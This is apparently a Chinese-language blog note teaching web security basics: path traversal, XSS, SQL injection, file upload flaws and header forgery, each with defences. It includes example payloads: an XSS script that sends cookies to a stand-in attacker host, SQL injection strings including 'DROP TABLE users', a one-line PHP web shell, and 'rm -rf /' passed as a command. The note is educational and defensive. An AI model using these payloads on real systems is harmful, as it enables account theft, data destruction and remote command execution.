Web 安全的核心原则只有一条:永远不要信任用户输入。 所有来自用户的数据都是”数据”,不是”指令”,必须检查、过滤、转义后才能使用。

核心原则

前端检查只是用户体验,安全检查必须在后端做。因为前端代码在用户手里,可以被随意修改;后端代码在服务器上,用户碰不到。详见 05-前端与后端

常见攻击类型

1. 路径遍历(Path Traversal)

攻击者通过在路径里输入 ../ 跳出网站根目录,访问服务器上的任意文件。

原理:

正常请求:/download?file=笔记.pdf
服务器找:/var/www/files/笔记.pdf  ✅

恶意请求:/download?file=../../../etc/passwd
服务器找:/var/www/files/../../../etc/passwd
实际解析:/etc/passwd  ← 读到系统密码文件!

../ 表示”上一级目录”,连续多个可以跳出根目录。

防御:

  • 不要直接拼接用户输入到文件路径
  • 拼接后检查最终路径是否仍在允许目录内
  • 过滤 ../..\ 等危险字符
  • 主流服务器(Nginx、Caddy、Cloudflare)默认已防

2. XSS(跨站脚本攻击)

攻击者在输入框(评论、用户名)里注入 <script> 代码,其他用户访问页面时代码在他们浏览器里执行。

例子:

攻击者在评论区提交:

<script>
  new Image().src = "http://黑客.com/steal?c=" + document.cookie;
</script>

如果网站没转义,其他用户打开页面时:

  1. 浏览器看到 <script>,以为是网站自己的代码
  2. 执行代码,把用户的登录Cookie发到攻击者服务器
  3. 攻击者用Cookie冒充用户登录

能做什么: 偷Cookie/账号、冒充用户操作、显示钓鱼页面、篡改页面内容、挖矿…

防御:

  • 输出时转义特殊字符:<&lt;>&gt;<script> 变成纯文本显示
  • Cookie 设置 HttpOnly(JS读不到Cookie)
  • 现代框架(React、Vue)默认自动转义,不易中招

3. SQL注入

攻击者在输入框里输入SQL代码片段,改变后端数据库查询的逻辑。

例子:

危险的后端代码(直接拼接SQL):

sql = "SELECT * FROM users WHERE name='" + username + "' AND pass='" + password + "'"

正常登录:用户名 admin,密码 123456

SELECT * FROM users WHERE name='admin' AND pass='123456'  ✅

攻击者在用户名框输入:admin' --

SELECT * FROM users WHERE name='admin' --' AND pass='xxx'
-- 后面的密码检查被注释掉了!不需要密码直接登录

更狠的:'; DROP TABLE users; --

SELECT * FROM users WHERE name=''; DROP TABLE users; --' AND pass='...'
-- 用户表被整个删除!

防御:

  • 永远用参数化查询(Prepared Statement),不要手动拼接SQL字符串
  • 使用ORM框架(它们底层自动参数化)
  • 数据库账号只给必要权限,不用root/sa账号连数据库

4. 文件上传漏洞

网站允许上传文件时,如果没检查文件类型和路径,攻击者可以上传恶意脚本并执行。

攻击方式一:路径穿越写文件

文件名输入 ../../shell.php,恶意文件被写到网站目录外的可执行位置,然后通过URL访问执行。

攻击方式二:伪装文件类型

上传 shell.php.jpg 双扩展名文件、.htaccess 配置文件、或在图片里嵌入代码(图片马)。

一句话木马(PHP):

<?php system($_GET['cmd']); ?>

访问 shell.php?cmd=rm -rf / 就能执行任意系统命令。

防御:

  • 服务器重新生成随机文件名(不要用用户提供的文件名)
  • 严格白名单检查扩展名(只允许 .jpg/.png/.pdf 等)
  • 上传目录设置为不可执行
  • 验证文件内容(图片就检查是不是真的图片)
  • 上传目录放在Web根目录外面

5. HTTP请求头伪造

HTTP请求头(Headers)是客户端自己填的,想填什么填什么,可以随便伪造。

请求头作用伪造风险
X-Forwarded-For声称的用户IP伪造IP刷票、绕过IP限流
Referer声称从哪个页面跳转过来伪造Referer绕过防盗链
User-Agent声称自己用什么浏览器伪装爬虫/绕过UA检测
Cookie用户登录凭证偷到别人Cookie就能冒充登录

防御:

  • 不要信任 X-Forwarded-For 获取真实IP(除非你自己配了可信代理)
  • 防盗链、权限检查不依赖Referer
  • Cookie 设置 HttpOnly + Secure + SameSite
  • 敏感操作(转账、改密码)加二次验证(短信/验证码)
  • CSRF Token 防止跨站请求伪造

各类网站的安全风险对比

网站类型风险等级主要风险
自己写的动态站(带用户系统)🔴 高SQL注入、XSS、RCE、文件上传、权限绕过… 全要防
WordPress(未及时更新)🟠 中高插件漏洞多,必须及时更新
Halo/Typecho等博客程序🟡 中后台弱密码、主题/插件漏洞
静态博客(Hexo/Quartz/Hugo)🟢 极低无数据库、无后端、无用户系统,大部分漏洞免疫

静态博客会不会被黑

静态站(比如你的数字花园)天然免疫绝大多数漏洞:

  • ❌ 没有数据库 → SQL注入不存在
  • ❌ 没有动态路径拼接 → 路径遍历不存在
  • ❌ 没有上传功能 → 文件上传漏洞不存在
  • ❌ 没有后端代码执行 → 远程代码执行不存在
  • ❌ 没有用户系统 → 权限/登录漏洞不存在

可能遇到的风险:

  1. GitHub/Cloudflare账号被盗 → 开启两步验证(2FA)即可
  2. 第三方脚本XSS → 不要随便嵌入来源不明的JS代码
  3. DDoS攻击 → Cloudflare免费版就有基本防护
  4. 依赖包漏洞 → 定期 npm update
  5. 密钥泄露 → 不要把Token/密码硬编码在Git仓库里

就这些,比动态站少操心太多。

防御口诀

原则说明
永远不要信任用户输入所有来自用户的数据都要验证、过滤、转义
安全检查只信后端前端检查是体验,后端检查才是安全
最小权限原则数据库账号、服务器进程只给必要权限
纵深防御多层防护,一层被突破还有下一层
默认拒绝没明确允许的就是禁止的
保持更新框架、依赖、服务器及时打补丁

相关:05-前端与后端04-Web基础02-反向代理返回目录